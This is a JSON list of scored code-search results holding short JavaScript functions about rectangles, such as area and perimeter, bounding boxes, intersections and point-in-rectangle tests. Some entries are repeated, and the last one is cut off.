[ { "docid": "d9bc35da0144a182a68bc05ba917162f", "score": "0.6776327", "text": "function combinedRect(w,h){\n //Calculate the area first\n var area= w * h;\n //calculate the perimeter\n var peri= 2*w+ 2*h;\n \n //return both values\n return[area,peri];\n \n}", "title": "" }, { "docid": "382de87080886dd089b3177d0baf270f", "score": "0.67271304", "text": "getStartCorner() {\n var lat1 = this.start.getLatitude();\n var lng1 = this.start.getLongitude();\n var lat2 = this.end.getLatitude();\n var lng2 = this.end.getLongitude();\n if (lat1 <= lat2 && lng1 >= lng2) {\n return 0; // bottom right\n } else if (lat1 <= lat2 && lng1 <= lng2) {\n return 1; // bottom left\n } else if (lat1 >= lat2 && lng1 >= lng2) {\n return 2; // top right\n }\n // lat1 >= lat2 && lng1 <= lng2\n return 3; // top left\n }", "title": "" }, { "docid": "1b5af63be135fd56955724dd35b2b161", "score": "0.6607589", "text": "function rect_coords(canvas_w, canvas_h, w, h, rect_center_x, rect_center_y){\r\n\trect_center_x = isdefined(rect_center_x) ? rect_center_x : canvas_w/2;\r\n\r\n\tvar left = rect_center_x-w/2;\r\n\tvar right = rect_center_x+w/2;\r\n\r\n\tvar top, bottom;\r\n\tif (isdefined(rect_center_y)){\r\n\t\ttop = canvas_h - rect_center_y - h/2;\r\n\t\tbottom = canvas_h - rect_center_y + h/2;\r\n\t}else{\r\n\t\t// ground the rectangle to the bottom of the canvas\r\n\t\ttop = canvas_h-h;\r\n\t\tbottom = canvas_h;\r\n\t}\r\n\r\n\treturn [ [left, top], [right, top], [right, bottom], [left, bottom]];\t\t\r\n}", "title": "" }, { "docid": "f6f5026598986e29d79eb3e6a0c800e3", "score": "0.6510776", "text": "function areaRect(w,h) {\n var area=w*h\n return area;\n}", "title": "" }, { "docid": "717bf2bf9ce019f5f8af3888229302f5", "score": "0.64122975", "text": "function periRect(w,h){\n //perimeter = 2 * width + 2 * height\n var p = 2*w + 2*h;\n return p;\n }", "title": "" }, { "docid": "b6f7cd9c0b62d3851130d21802247ae5", "score": "0.64030737", "text": "where(rect){\n let center = new Vector ((rect.origin.x+(rect.width*Math.cos(rect.orientation%(Math.PI*2))+rect.height*Math.cos((rect.orientation+Math.PI/2)%(Math.PI*2)))/2,rect.origin.y+((rect.width*Math.sin(rect.orientation%(Math.PI*2)))+rect.height*Math.sin((rect.orientation+Math.PI/2)%(Math.PI*2)))/2));\n let temp=center.sub(this.origin);\n if (rect.orientation%(Math.PI)==0 ){\n \n if (temp.x>=center.x-rect.width/2 && temp.x<=center.x+rect.width/2 ){\n if(temps.y<center.y){\n return \"bot\";\n } else {\n return \"top\";\n }\n }else if(temp.x<center.x){\n return \"left\"; \n }else {\n return \"right\";\n } \n\n }else if (rect.orientation%(Math.PI/2)==0 ){\n if (temp.x>=center.x-rect.height/2 && temp.x<=center.x+rect.height/2 ){\n \n if(temps.y<center.y){\n return \"bot\";\n } else {\n return \"top\";\n }\n \n }else if(temp.x<center.x){\n return \"left\"; \n }else {\n return \"right\";\n } \n }else {\n if (temp.y<center.y){\n if (temps.x<center.x){\n return \"left-bot\";\n }\n return \"right-bot\";\n }\n if (temps.x<center.x){\n return \"left-top\";\n }\n return \"right-top\";\n }\n }", "title": "" }, { "docid": "77867996c842fd231bec0a335d9fa6fa", "score": "0.62857157", "text": "function determineQuadrant(){\n if(mouseX<=width/2){//Left\n if(mouseY<=height/2) quadrant=1;//Top Left\n else quadrant = 3;//Bottom Left\n }\n else{\n if(mouseX>=width/2){//Right\n if(mouseY>=height/2) quadrant = 4;//Bottom Right\n else quadrant = 2;//Top Right\n }\n } \n}", "title": "" }, { "docid": "8dfcacb8b1db9ddda9e855d7edee9caa", "score": "0.62325263", "text": "function combinedRect(w,h) {\n //calc area\n var area= w*h\n //calc peri\n var peri=2*w+2*h\n \n //return Both values!\n return [area, peri];\n \n //example 2\n //create the array\n //var result=[area,per]\n \n}", "title": "" }, { "docid": "a7ef7006296edd1cd09c7f3bd12328fe", "score": "0.6193028", "text": "function areaRect(w,h){\n //area of a rectangle is width*height\n\nvar area= w*h;\nreturn area;\n}", "title": "" }, { "docid": "cc1ebad5a7e1007e53099308b0d29211", "score": "0.61415565", "text": "function pointInRectangle ([x, y, xMin, xMax, yMin, yMax]) {\n if (x >= xMin && x <= xMax && y >= yMin && y <= yMax) {\n console.log('inside');\n } else {\n console.log('outside');\n }\n}", "title": "" }, { "docid": "818eeab1c03cbc340f29fa704d04446c", "score": "0.6139385", "text": "function C(a){return{left:(a.left+a.right)/2,top:(a.top+a.bottom)/2}}", "title": "" }, { "docid": "7d0129aac643b293d24013903fab0dae", "score": "0.61001545", "text": "function perimeterRectangle (width, height){\n var x = width * 2;\n var y = height * 2;\n return x + y\n }", "title": "" }, { "docid": "e173a3ff22ed26a8a8ffc23ef22b1e70", "score": "0.6082233", "text": "get FullRect() {}", "title": "" }, { "docid": "5bacdfa325c4d5623a33118a89bc832a", "score": "0.60499936", "text": "checkPointInRectangle(A, B, C, D, P) {\n\n //reference: https://martin-thoma.com/how-to-check-if-a-point-is-inside-a-rectangle/\n //\n //area of enemy rectangle, I could have used the simple rectangle aligned with x-y axis formula but\n //this is fun and who knows, maybe I will need it :)\n // = 0.5 | (yA - yC )�(xD - xB ) + (yB - yD )�(xA - xC)|\n var areaRect = 0.5 * Math.abs(((A[1] - C[1]) * (D[0] - B[0])) + ((B[1] - D[1]) * (A[0] - C[0])));\n\n var ABP = 0.5 * Math.abs(\n A[0] * (B[1] - P[1])\n + B[0] * (P[1] - A[1])\n + P[0] * (A[1] - B[1]));\n\n var BCP = 0.5 * Math.abs(\n (B[0] * (C[1] - P[1]))\n + (C[0] * (P[1] - B[1]))\n + (P[0] * (B[1] - C[1])));\n\n var CDP = 0.5 * Math.abs(\n (C[0] * (D[1] - P[1]))\n + (D[0] * (P[1] - C[1]))\n + (P[0] * (C[1] - D[1])));\n\n var DAP = 0.5 * Math.abs(\n (D[0] * (A[1] - P[1]))\n + (A[0] * (P[1] - D[1]))\n + (P[0] * (D[1] - A[1])));\n\n var totTri = ABP + BCP + CDP + DAP;\n\n return areaRect == totTri;\n\n }", "title": "" }, { "docid": "edf23ef3784ea7dbab8812ff451fdc6a", "score": "0.60449904", "text": "function getCommonRectangle(rectangles) {\n var length = rectangles.length;\n if (length !== 0) {\n var minX = void 0;\n var minY = void 0;\n var maxX = void 0;\n var maxY = void 0;\n for (var i = 0; i < length; i++) {\n var rectangle = rectangles[i];\n minX = min(rectangle.x, minX);\n minY = min(rectangle.y, minY);\n maxX = max(rectangle.x + rectangle.width, maxX);\n maxY = max(rectangle.y + rectangle.height, maxY);\n }\n return { x: minX, y: minY, width: maxX - minX, height: maxY - minY };\n }\n}", "title": "" }, { "docid": "154f854da6f5c245482d6f7bb258b81d", "score": "0.6044592", "text": "function rectangleMania(coords) {\n const coordsTable = getCoordsTable(coords);\n return getRectangleCount(coords, coordsTable);\n}", "title": "" }, { "docid": "154f854da6f5c245482d6f7bb258b81d", "score": "0.6044592", "text": "function rectangleMania(coords) {\n const coordsTable = getCoordsTable(coords);\n return getRectangleCount(coords, coordsTable);\n}", "title": "" }, { "docid": "154f854da6f5c245482d6f7bb258b81d", "score": "0.6044592", "text": "function rectangleMania(coords) {\n const coordsTable = getCoordsTable(coords);\n return getRectangleCount(coords, coordsTable);\n}", "title": "" }, { "docid": "69f504a50c9201ed45b3cd4513819747", "score": "0.6038368", "text": "function overlap_area(range, rect) {\n var overlap_range = {\n left: Math.max(range.left, rect.x),\n right: Math.min(range.right, rect.x + rect.width - 1),\n top: Math.max(range.top, rect.y),\n bottom: Math.min(range.bottom, rect.y + rect.height - 1)\n }\n if ((overlap_range.right >= overlap_range.left) && (overlap_range.bottom >= overlap_range.top)) {\n return (overlap_range.right - overlap_range.left + 1) * (overlap_range.bottom - overlap_range.top + 1);\n } else {\n return 0; // no overlap\n }\n }", "title": "" }, { "docid": "f502250672e3a8c2f0dfe9786a098b18", "score": "0.6038361", "text": "function findLocation(){\n if(!(rectangle.getBounds().ga.j < position.longitude && rectangle.getBounds().ga.l > position.longitude \n && rectangle.getBounds().ma.j < position.latitude && rectangle.getBounds().ma.l > position.latitude)){\n alert(\"out of radius\")\n console.log(\"out of radius\")\n }\n }", "title": "" }, { "docid": "48036f5fc2f2ad2f1cbe00d1612e9eae", "score": "0.60377043", "text": "function crosspoint_rect(start, dir, rect) {\n nhiro.assert(rect.w > 0);\n nhiro.assert(rect.h > 0);\n // find four crosspoint\n var top = crosspoint_horizontal(start, dir, rect.y);\n var bottom = crosspoint_horizontal(start, dir, rect.y + rect.h);\n var left = crosspoint_vertical(start, dir, rect.x);\n var right = crosspoint_vertical(start, dir, rect.x + rect.w);\n\n // ignore if out-bound\n if (top.x < rect.x || top.x > rect.x + rect.w) {\n top = null;\n }\n if (bottom.x < rect.x || bottom.x > rect.x + rect.w) {\n bottom = null;\n }\n if (left.y < rect.y || left.y > rect.y + rect.h) {\n left = null;\n }\n if (right.y < rect.y || right.y > rect.y + rect.h) {\n right = null;\n }\n\n // return nearest one\n var result;\n function near(v1, v2) {\n return v1.sub(start).norm() < v2.sub(start).norm();\n }\n if (bottom != null) {\n result = bottom;\n result.where = 'bottom';\n result.horizontal = true;\n }\n if (top != null) {\n if (result == null || near(top, result)) {\n result = top;\n result.where = 'top';\n result.horizontal = true;\n }\n }\n if (right != null) {\n if (result == null || near(right, result)) {\n result = right;\n result.where = 'right';\n result.horizontal = false;\n }\n }\n if (left != null) {\n if (result == null || near(left, result)) {\n result = left;\n result.where = 'left';\n result.horizontal = false;\n }\n }\n return result;\n }", "title": "" }, { "docid": "5b00b85ddd49c3ffb7d6bc28a6797ae3", "score": "0.6037678", "text": "function perimeterRect(w,h){\n //Perimeter of rectangle is\n //2*width + 2*height\n var p = 2*w + 2*h;\n //Return the perimeter\n return p;\n}", "title": "" }, { "docid": "e098755013a49471706c67456173abf7", "score": "0.60303354", "text": "function BoundingBoxRect() { }", "title": "" }, { "docid": "b236c85fcb6c977561fa447c8db19d0f", "score": "0.60293615", "text": "function getCommonRectangle(rectangles) {\n var length = rectangles.length;\n\n if (length !== 0) {\n var minX = void 0;\n var minY = void 0;\n var maxX = void 0;\n var maxY = void 0;\n\n for (var i = 0; i < length; i++) {\n var rectangle = rectangles[i];\n minX = min(rectangle.x, minX);\n minY = min(rectangle.y, minY);\n maxX = max(rectangle.x + rectangle.width, maxX);\n maxY = max(rectangle.y + rectangle.height, maxY);\n }\n\n return {\n x: minX,\n y: minY,\n width: maxX - minX,\n height: maxY - minY\n };\n }\n }", "title": "" }, { "docid": "b8958c37b2737274592c45d7a7a49866", "score": "0.60243255", "text": "static getBoundingRectangle (pts, margin) {\n if (!pts || pts.length === 0) return null\n margin = margin || [0, 0, 0, 0]\n if (!_.isArray(margin)) {\n margin = [margin, margin, margin, margin]\n }\n let min = [pts[0].x, pts[0].y]\n let max = [pts[0].x, pts[0].y]\n for (let i = 1; i < pts.length; i++) {\n let p = pts[i]\n if (p.x < min[0]) {\n min[0] = p.x\n }\n if (p.y < min[1]) {\n min[1] = p.y\n }\n if (p.x > max[0]) {\n max[0] = p.x\n }\n if (p.y > max[1]) {\n max[1] = p.y\n }\n }\n min[0] = min[0] - margin[0]\n min[1] = min[1] - margin[1]\n max[0] = max[0] + margin[2]\n max[1] = max[1] + margin[3]\n let w = Math.abs(max[0] - min[0])\n let h = Math.abs(max[1] - min[1])\n return new Rectangle(min[0] + w / 2, min[1] + h / 2, w, h)\n }", "title": "" }, { "docid": "cc1bee31821c7c24b4dbc9c23ebc278d", "score": "0.6017568", "text": "function pointToRectangle(startPoint,endPoint){\n\tvar position=[Math.min(startPoint[0],endPoint[0]),Math.min(startPoint[1],endPoint[1])];\n\tvar rectangle=[Math.abs(startPoint[0]-endPoint[0])+1,Math.abs(startPoint[1]-endPoint[1])+1];\n\treturn [position,rectangle]\n}", "title": "" }, { "docid": "bcdcc7247a233e169c2f6988a03de7d9", "score": "0.60126096", "text": "function v(){var t=R.getBoundingClientRect(),e=\"offset\"+[\"Width\",\"Height\"][r.ort];return 0===r.ort?t.width||R[e]:t.height||R[e]}", "title": "" }, { "docid": "d575cdcdfac29d816e402e11d2471750", "score": "0.60041195", "text": "function logRectInfo(topLeft, bottomRight) {\n let length = Math.abs(topLeft[0] - bottomRight[0]);\n let width = Math.abs(topLeft[1] - bottomRight[1]);\n let area = length*width;\n let perimeter = 2*length + 2*width;\n \n console.log(\"The area of the rectangle is \" + area + \".\");\n console.log(\"The perimeter of the rectangle is \" + perimeter + \".\");\n console.log();\n\n //let tempArray = [area, perimeter];\n //return tempArray;\n}", "title": "" }, { "docid": "fce4f4116f6eba5283e62ef4cf8ace0a", "score": "0.59984374", "text": "function rectangleArea(l, w) {\n return length * width;\n}", "title": "" }, { "docid": "cc9f492fd999bd5533551cd471517bbd", "score": "0.59975547", "text": "function rectArea(lenght, width) {\n var area = lenght * width\n return area\n}", "title": "" }, { "docid": "df4b303a302fd9bfeebe19d17c99bf50", "score": "0.5992049", "text": "function rectangleArea(width, height) {\n let area = width * height \n }", "title": "" }, { "docid": "90ff4a3e040a12340a154f54bb4eecbd", "score": "0.5988121", "text": "function get_corner_val(x1, y1, x2, y2) {\n return (x1 + y1 * 2 + x2 + y2 * 2);\n }", "title": "" }, { "docid": "6134fa472a09628573933eebc0a99698", "score": "0.59831536", "text": "corners() \n\t{\n\t\treturn [this.interiorStart(), this.interiorEnd(), this.exteriorEnd(), this.exteriorStart()];\n\t}", "title": "" }, { "docid": "aab1cdff9d1fb679eb3960d266e08685", "score": "0.5968199", "text": "function rectIntersect(r1, r2) {\n var right1 = r1.x + r1.width;\n var bottom1 = r1.y + r1.height;\n var right2 = r2.x + r2.width;\n var bottom2 = r2.y + r2.height;\n\n var x = Math.max(r1.x, r2.x);\n var y = Math.max(r1.y, r2.y);\n var w = Math.max(Math.min(right1, right2) - x, 0);\n var h = Math.max(Math.min(bottom1, bottom2) - y, 0);\n return {x: x, y: y, width: w, height: h};\n}", "title": "" }, { "docid": "87e76e26a4c9efdc73ebe4d167103e36", "score": "0.59643704", "text": "function getDrawnAreaBounds(){\n\treturn area;\n}", "title": "" }, { "docid": "ecf090acae27d7be6d268296aea25a69", "score": "0.5958449", "text": "function isPointInRectangle(params) {\n\tlet x = params[0];\n\tlet y = params[1];\n\tlet xMin = params[2];\n\tlet xMax = params[3];\n\tlet yMin = params[4];\n\tlet yMax = params[5];\n\n\tif (x >= xMin && x <= xMax && y >= yMin && y <= yMax) {\n\t\tconsole.log(\"inside\");\n\t} else {\n\t\tconsole.log(\"outside\");\n\t}\n}", "title": "" }, { "docid": "ae02d9e441a487e56fa4a66888157d78", "score": "0.5948839", "text": "function getArea(rectangle) {\n return rectangle.width * rectangle.height;\n}", "title": "" }, { "docid": "7599057e097fc6bafce59cbf51b1d431", "score": "0.5939298", "text": "function findRect(id) {\r\n\r\n var rects = canvas1.getObjects();\r\n if (rects) {\r\n var r = undefined;\r\n for (var i = 0; i < rects.length; i++) {\r\n if (rects[i].id == id) {\r\n r = rects[i];\r\n return r;\r\n }\r\n }\r\n }\r\n return undefined\r\n}", "title": "" }, { "docid": "4e8dd2d4301654b32d63e0168a919bd5", "score": "0.5935173", "text": "function J(){var t=c.getBoundingClientRect(),e=\"offset\"+[\"Width\",\"Height\"][r.ort];return 0===r.ort?t.width||c[e]:t.height||c[e]}", "title": "" }, { "docid": "7633e80d5b2675be968c360bd3f9e759", "score": "0.59295803", "text": "function _findCorner(rect, point, maxDist) {\n\t\tvar distanceToTopLeft = _dist(point, rect.getTopLeft());\n\t\tvar distanceToBottomLeft = _dist(point, rect.getBottomLeft());\n\t\tvar distanceToTopRight = _dist(point, rect.getTopRight());\n\t\tvar distanceToBottomRight = _dist(point, rect.getBottomRight());\n\n\t\tvar minDistance = Math.min(distanceToTopLeft, Math.min(\n\t\t\t\tdistanceToTopRight, Math.min(distanceToBottomLeft,\n\t\t\t\t\t\tdistanceToBottomRight)));\n\t\tif (minDistance <= maxDist) {\n\t\t\tif (distanceToTopLeft === minDistance) {\n\t\t\t\treturn osViewer.transformRect.hitAreas.TOPLEFT;\n\t\t\t}\n\t\t\tif (distanceToTopRight === minDistance) {\n\t\t\t\treturn osViewer.transformRect.hitAreas.TOPRIGHT;\n\t\t\t}\n\t\t\tif (distanceToBottomLeft === minDistance) {\n\t\t\t\treturn osViewer.transformRect.hitAreas.BOTTOMLEFT;\n\t\t\t}\n\t\t\tif (distanceToBottomRight === minDistance) {\n\t\t\t\treturn osViewer.transformRect.hitAreas.BOTTOMRIGHT;\n\t\t\t}\n\t\t}\n\t\treturn \"\";\n\t}", "title": "" }, { "docid": "f5037507eb8b3a44656c174db605acff", "score": "0.59156543", "text": "function getArcRect(startAngle, endAngle, radius) {\n var minX = Number.MAX_VALUE;\n var minY = Number.MAX_VALUE;\n var maxX = -Number.MAX_VALUE;\n var maxY = -Number.MAX_VALUE;\n var bpoints = [];\n if (!_Type__WEBPACK_IMPORTED_MODULE_0__[\"isNumber\"](radius)) {\n radius = 1;\n }\n bpoints.push(getArcPoint(radius, startAngle));\n bpoints.push(getArcPoint(radius, endAngle));\n var fromAngle = Math.min(Math.floor(startAngle / 90) * 90, Math.floor(endAngle / 90) * 90);\n var toAngle = Math.max(Math.ceil(startAngle / 90) * 90, Math.ceil(endAngle / 90) * 90);\n for (var angle = fromAngle; angle <= toAngle; angle += 90) {\n if (angle >= startAngle && angle <= endAngle) {\n bpoints.push(getArcPoint(radius, angle));\n }\n }\n for (var i = 0; i < bpoints.length; i++) {\n var pt = bpoints[i];\n if (pt.x < minX) {\n minX = pt.x;\n }\n if (pt.y < minY) {\n minY = pt.y;\n }\n if (pt.x > maxX) {\n maxX = pt.x;\n }\n if (pt.y > maxY) {\n maxY = pt.y;\n }\n }\n return ({ x: minX, y: minY, width: maxX - minX, height: maxY - minY });\n}", "title": "" }, { "docid": "68d817a48ffdea71ce333f213fa4abe6", "score": "0.5914622", "text": "function rectangleArea(width, height) {\n let area = width * height \n return area;\n }", "title": "" }, { "docid": "6ae34e9ed7b13f2d6eb7e1662ada266c", "score": "0.5913084", "text": "function determineStartCoords_(w, h) {\n return [Math.floor(w / 2) + (w % 2), Math.floor(h / 2) + 1];\n}", "title": "" }, { "docid": "bf648d3178c63f7d069013bad2cf999d", "score": "0.5910338", "text": "static getTotalGlobalBounds(element) {\n \n var all = Array.from(element.querySelectorAll(\"*\"))\n .filter(ea => ea.style.position == \"absolute\" || ea.style.position == \"relative\")\n .concat([element]) \n .map(ea => lively.getGlobalBounds(ea))\n var max \n var min \n all.forEach(ea => {\n var topLeft = ea.topLeft()\n var bottomRight = ea.bottomRight()\n // console.log(\"ea \" + topLeft + \" \" + bottomRight)\n min = topLeft.minPt(min || topLeft)\n max = bottomRight.maxPt(max || bottomRight)\n })\n // console.log(\"min \" + min + \" max \" + max)\n return rect(min, max)\n }", "title": "" }, { "docid": "f9d111e31590e3583ec708c3a46515b7", "score": "0.5892137", "text": "function J(){var e=c.getBoundingClientRect(),t=\"offset\"+[\"Width\",\"Height\"][r.ort];return 0===r.ort?e.width||c[t]:e.height||c[t]}", "title": "" }, { "docid": "d7ddb4850544905da8f8bea2df2b99f9", "score": "0.58879834", "text": "function getBounds(arr, bounds) {\n thisAB = thisDoc.artboards.getActiveArtboardIndex();\n var absX1, absY1, absX2, absY2;\n var x1 = [], y1 = [], x2 = [], y2 = [],\n bounds = bounds || 'geometricBounds';\n\n // relative selection bounding box\n for (var i = 0; i < arr.length; i++) {\n x1.push(lastABOffset[0] + arr[i][bounds][0]);\n x2.push(lastABOffset[0] + arr[i][bounds][2]);\n y1.push((arr[i][bounds][1] + lastABOffset[1]) * -1);\n y2.push((arr[i][bounds][3] + lastABOffset[1]) * -1);\n }\n\n // find XY min/max, get width and height\n x1 = Math.min.apply(null, x1);\n y1 = Math.min.apply(null, y1);\n x2 = Math.max.apply(null, x2);\n y2 = Math.max.apply(null, y2);\n w = x2 - x1;\n h = y2 - y1;\n\n // reverse and store for absolute position of selection\n if (thisAB > 0) {\n absX1 = (lastABOffset[0] * -1) + x1;\n absX2 = (lastABOffset[0] * -1) + x2;\n absY1 = (lastABOffset[1] * -1) - y1;\n absY2 = (lastABOffset[1] * -1) - y2;\n } else {\n absX1 = x1;\n absY1 = y1;\n absX2 = x2;\n absY2 = y2;\n }\n\n // send two arrays with ; delimiter\n return rect = [ x1, y1, x2, y2, w, h ] + \";\" + [ absX1, absY1, absX2, absY2, w, h ];\n}", "title": "" }, { "docid": "c706e8ac62ce17e7427c7c0b186942df", "score": "0.5881306", "text": "bbox(){var maxX=-Infinity,maxY=-Infinity,minX=1/0,minY=1/0;this.forEach(function(el){maxX=Math.max(el[0],maxX);maxY=Math.max(el[1],maxY);minX=Math.min(el[0],minX);minY=Math.min(el[1],minY)});return{x:minX,y:minY,width:maxX-minX,height:maxY-minY}}", "title": "" }, { "docid": "bd7bcc5f4aa021cde40e0fe2aed7a1ac", "score": "0.5877952", "text": "function getAnchoredPosition(rectangle){\r\n // 1095716961: AnchorPosition.ABOVE_LINE\r\n // 1097814113: AnchorPosition.ANCHORED\r\n // 1095716969: AnchorPosition.INLINE_POSITION\r\n anchoredPosIndex = [1095716961, 1097814113, 1095716969].indexOf(rectangle.anchoredObjectSettings.anchoredPosition);\r\n return anchoredPosIndex;\r\n}", "title": "" }, { "docid": "087215651357d5b0c4b7591925490f25", "score": "0.58656955", "text": "getConnectionPoint(p) {\r\n let center = { x: (bounds.x + bounds.width / 2), y: (bounds.y + bounds.height / 2) }\r\n let dx = p.x - center.x\r\n let dy = p.y - center.y\r\n let ret = p\r\n if (dx === 0 && dy === 0) {\r\n return p\r\n } else if (dx < -dy && dx >= dy) {\r\n ret = { x: center.x, y: bounds.y }\r\n } else if (dx >= dy && dx >= -dy) {\r\n ret = { x: bounds.x + bounds.width, y: center.y }\r\n } else if (dx >= -dy && dx < dy) {\r\n ret = { x: center.x, y: bounds.y + bounds.height }\r\n } else if (dx < dy && dx < -dy) {\r\n ret = { x: bounds.x, y: center.y }\r\n }\r\n return ret\r\n }", "title": "" }, { "docid": "ae77316d7967b9ec024dd0eb5d943f62", "score": "0.586053", "text": "_areaIntersectWithCountry(area){\n const radius = area.radius;\n const x = area.center.x, y = area.center.y;\n const radius2 = radius*radius;\n\n // bound ,no outside recenter\n let box = {\n minX: Math.max(x-radius, 0) -x,\n minY: Math.max(y-radius, 0) -y,\n maxX: Math.min(x+radius, this.width) -x,\n maxY: Math.min(y+radius, 1183) -y,\n };\n // console.log(x, y, radius, box);\n\n for(let i = box.minX; i < box.maxX; i++){\n const i2 = i*i;\n const xi = i + x;\n for(let j=box.minY; j < box.maxY; j++){\n if(i2+j*j<radius2 && this.isInCountry(xi, y+j)){\n return true;\n }\n }\n }\n return false;\n }", "title": "" }, { "docid": "0151fbc04da33e8873848d0922ad08ef", "score": "0.5858049", "text": "function getArcRect(startAngle, endAngle, radius) {\n var minX = Number.MAX_VALUE;\n var minY = Number.MAX_VALUE;\n var maxX = -Number.MAX_VALUE;\n var maxY = -Number.MAX_VALUE;\n var bpoints = [];\n\n if (!_Type__WEBPACK_IMPORTED_MODULE_0__[\"isNumber\"](radius)) {\n radius = 1;\n }\n\n bpoints.push(getArcPoint(radius, startAngle));\n bpoints.push(getArcPoint(radius, endAngle));\n var fromAngle = Math.min(Math.floor(startAngle / 90) * 90, Math.floor(endAngle / 90) * 90);\n var toAngle = Math.max(Math.ceil(startAngle / 90) * 90, Math.ceil(endAngle / 90) * 90);\n\n for (var angle = fromAngle; angle <= toAngle; angle += 90) {\n if (angle >= startAngle && angle <= endAngle) {\n bpoints.push(getArcPoint(radius, angle));\n }\n }\n\n for (var i = 0; i < bpoints.length; i++) {\n var pt = bpoints[i];\n\n if (pt.x < minX) {\n minX = pt.x;\n }\n\n if (pt.y < minY) {\n minY = pt.y;\n }\n\n if (pt.x > maxX) {\n maxX = pt.x;\n }\n\n if (pt.y > maxY) {\n maxY = pt.y;\n }\n }\n\n return {\n x: minX,\n y: minY,\n width: maxX - minX,\n height: maxY - minY\n };\n }", "title": "" }, { "docid": "814df04e372822265dcb1a5a800e74d7", "score": "0.5847367", "text": "function area(r) {r = +r; return Math.PI * r * r }", "title": "" }, { "docid": "0f6f814e333e7d36f4353a699b1f5cd1", "score": "0.58455956", "text": "function getElementRegion(element) {\n // Check that node type is element.\n if (element.nodeType != 1)\n throw new Error(element + ' is not an element');\n\n // We try 2 methods to determine element region. Try the first client rect,\n // and then the bounding client rect.\n // SVG is one case that doesn't have a first client rect.\n var clientRects = element.getClientRects();\n\n // Element area of a map has same first ClientRect and BoundingClientRect\n // after blink roll at chromium commit position 290738 which includes blink\n // revision 180610. Thus handle area as a special case.\n if (clientRects.length == 0 || element.tagName.toLowerCase() == 'area') {\n var box = element.getBoundingClientRect();\n if (element.tagName.toLowerCase() == 'area') {\n var coords = element.coords.split(',');\n if (element.shape.toLowerCase() == 'rect') {\n if (coords.length != 4)\n throw new Error('failed to detect the region of the area');\n var leftX = Number(coords[0]);\n var topY = Number(coords[1]);\n var rightX = Number(coords[2]);\n var bottomY = Number(coords[3]);\n return {\n 'left': leftX,\n 'top': topY,\n 'width': rightX - leftX,\n 'height': bottomY - topY\n };\n } else if (element.shape.toLowerCase() == 'circle') {\n if (coords.length != 3)\n throw new Error('failed to detect the region of the area');\n var centerX = Number(coords[0]);\n var centerY = Number(coords[1]);\n var radius = Number(coords[2]);\n return {\n 'left': Math.max(0, centerX - radius),\n 'top': Math.max(0, centerY - radius),\n 'width': radius * 2,\n 'height': radius * 2\n };\n } else if (element.shape.toLowerCase() == 'poly') {\n if (coords.length < 2)\n throw new Error('failed to detect the region of the area');\n var minX = Number(coords[0]);\n var minY = Number(coords[1]);\n var maxX = minX;\n var maxY = minY;\n for (i = 2; i < coords.length; i += 2) {\n var x = Number(coords[i]);\n var y = Number(coords[i + 1]);\n minX = Math.min(minX, x);\n minY = Math.min(minY, y);\n maxX = Math.max(maxX, x);\n maxY = Math.max(maxY, y);\n }\n return {\n 'left': minX,\n 'top': minY,\n 'width': maxX - minX,\n 'height': maxY - minY\n };\n } else {\n throw new Error('shape=' + element.shape + ' is not supported');\n }\n }\n return {\n 'left': 0,\n 'top': 0,\n 'width': box.width,\n 'height': box.height\n };\n } else {\n var box = element.getBoundingClientRect();\n var clientRect = clientRects[0];\n for (var i = 0; i < clientRects.length; i++) {\n if (clientRects[i].height != 0 && clientRects[i].width != 0) {\n clientRect = clientRects[i];\n break;\n }\n }\n return {\n 'left': clientRect.left - box.left,\n 'top': clientRect.top - box.top,\n 'width': clientRect.right - clientRect.left,\n 'height': clientRect.bottom - clientRect.top\n };\n }\n}", "title": "" }, { "docid": "faa35e2409d468a7893aa5a029e96e94", "score": "0.58455473", "text": "function computeRectangleBounds(\n rectangle,\n ellipsoid,\n height,\n southWestCornerResult,\n eastVectorResult,\n northVectorResult\n) {\n // Compute center of rectangle\n const centerCartographic = Rectangle.center(\n rectangle,\n rectangleCenterScratch\n );\n centerCartographic.height = height;\n const centerCartesian = Cartographic.toCartesian(\n centerCartographic,\n ellipsoid,\n rectanglePointCartesianScratch\n );\n const enuMatrix = Transforms.eastNorthUpToFixedFrame(\n centerCartesian,\n ellipsoid,\n enuMatrixScratch\n );\n const inverseEnu = Matrix4.inverse(enuMatrix, inverseEnuScratch);\n\n const west = rectangle.west;\n const east = rectangle.east;\n const north = rectangle.north;\n const south = rectangle.south;\n\n const cartographics = pointsCartographicScratch;\n cartographics[0].latitude = south;\n cartographics[0].longitude = west;\n cartographics[1].latitude = north;\n cartographics[1].longitude = west;\n cartographics[2].latitude = north;\n cartographics[2].longitude = east;\n cartographics[3].latitude = south;\n cartographics[3].longitude = east;\n\n const longitudeCenter = (west + east) * 0.5;\n const latitudeCenter = (north + south) * 0.5;\n\n cartographics[4].latitude = south;\n cartographics[4].longitude = longitudeCenter;\n cartographics[5].latitude = north;\n cartographics[5].longitude = longitudeCenter;\n cartographics[6].latitude = latitudeCenter;\n cartographics[6].longitude = west;\n cartographics[7].latitude = latitudeCenter;\n cartographics[7].longitude = east;\n\n let minX = Number.POSITIVE_INFINITY;\n let maxX = Number.NEGATIVE_INFINITY;\n let minY = Number.POSITIVE_INFINITY;\n let maxY = Number.NEGATIVE_INFINITY;\n for (let i = 0; i < 8; i++) {\n cartographics[i].height = height;\n const pointCartesian = Cartographic.toCartesian(\n cartographics[i],\n ellipsoid,\n rectanglePointCartesianScratch\n );\n Matrix4.multiplyByPoint(inverseEnu, pointCartesian, pointCartesian);\n pointCartesian.z = 0.0; // flatten into XY plane of ENU coordinate system\n minX = Math.min(minX, pointCartesian.x);\n maxX = Math.max(maxX, pointCartesian.x);\n minY = Math.min(minY, pointCartesian.y);\n maxY = Math.max(maxY, pointCartesian.y);\n }\n\n const southWestCorner = southWestCornerResult;\n southWestCorner.x = minX;\n southWestCorner.y = minY;\n southWestCorner.z = 0.0;\n Matrix4.multiplyByPoint(enuMatrix, southWestCorner, southWestCorner);\n\n const southEastCorner = eastVectorResult;\n southEastCorner.x = maxX;\n southEastCorner.y = minY;\n southEastCorner.z = 0.0;\n Matrix4.multiplyByPoint(enuMatrix, southEastCorner, southEastCorner);\n // make eastward vector\n Cartesian3.subtract(southEastCorner, southWestCorner, eastVectorResult);\n\n const northWestCorner = northVectorResult;\n northWestCorner.x = minX;\n northWestCorner.y = maxY;\n northWestCorner.z = 0.0;\n Matrix4.multiplyByPoint(enuMatrix, northWestCorner, northWestCorner);\n // make eastward vector\n Cartesian3.subtract(northWestCorner, southWestCorner, northVectorResult);\n}", "title": "" }, { "docid": "935bf95b6e2fa266e23da9f84d328814", "score": "0.5844656", "text": "function getcordinate() 